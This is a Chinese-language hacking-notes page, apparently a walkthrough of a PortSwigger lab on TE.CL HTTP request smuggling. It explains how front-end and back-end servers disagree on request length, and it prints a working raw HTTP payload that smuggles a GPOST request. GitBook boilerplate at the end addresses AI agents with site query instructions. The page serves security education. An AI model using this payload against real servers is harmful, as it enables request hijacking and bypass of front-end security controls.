> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/basic-te-cl-request-smuggling.md).
# TE.CL HTTP 请求走私漏洞
### HTTP 请求走私，基础 TE.CL 漏洞
在这种情况下，应用程序使用一个前端服务器和一个内部服务器。该 **后端服务器不支持分块编码**，而 **前端服务器只接受 GET 和 POST** 方法。这种行为差异使我们能够利用一种类型为 **TE.CL**的漏洞，其中前端服务器根据 Transfer-Encoding 标头解释请求，而内部服务器则基于 Content-Length。
#### **实验目标**
将一个请求注入到 HTTP 流中，使下一个 **由后端服务器处理的请求看起来使用了 `GPOST`** 方法，从而验证该实验。
#### **重要提示**
* 尽管该实验支持 HTTP/2，但预期的技术完全基于仅适用于 **HTTP/1**的机制。因此，如有必要，应在 Burp Repeater 中手动修改协议。
* 长度字段可能难以正确处理。该 **HTTP Request Smuggler** BApp Store 中提供的扩展可帮助完成此任务。
#### **利用 TE.CL 的示例载荷**
在这种攻击中，前端服务器以分块模式解释消息，而后端服务器则通过 Content-Length 计算请求结束位置，从而允许插入第二个请求：
```http
POST / HTTP/1.1
Host: 0acf00f80484e31881442f77004300cd.web-security-academy.net
Connection: keep-alive
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
72
GPOST / HTTP/1.1
Host: 0acf00f80484e31881442f77004300cd.web-security-academy.net
Content-Length: 20
test=test
0
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/web/request-smuggling/basic-te-cl-request-smuggling.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.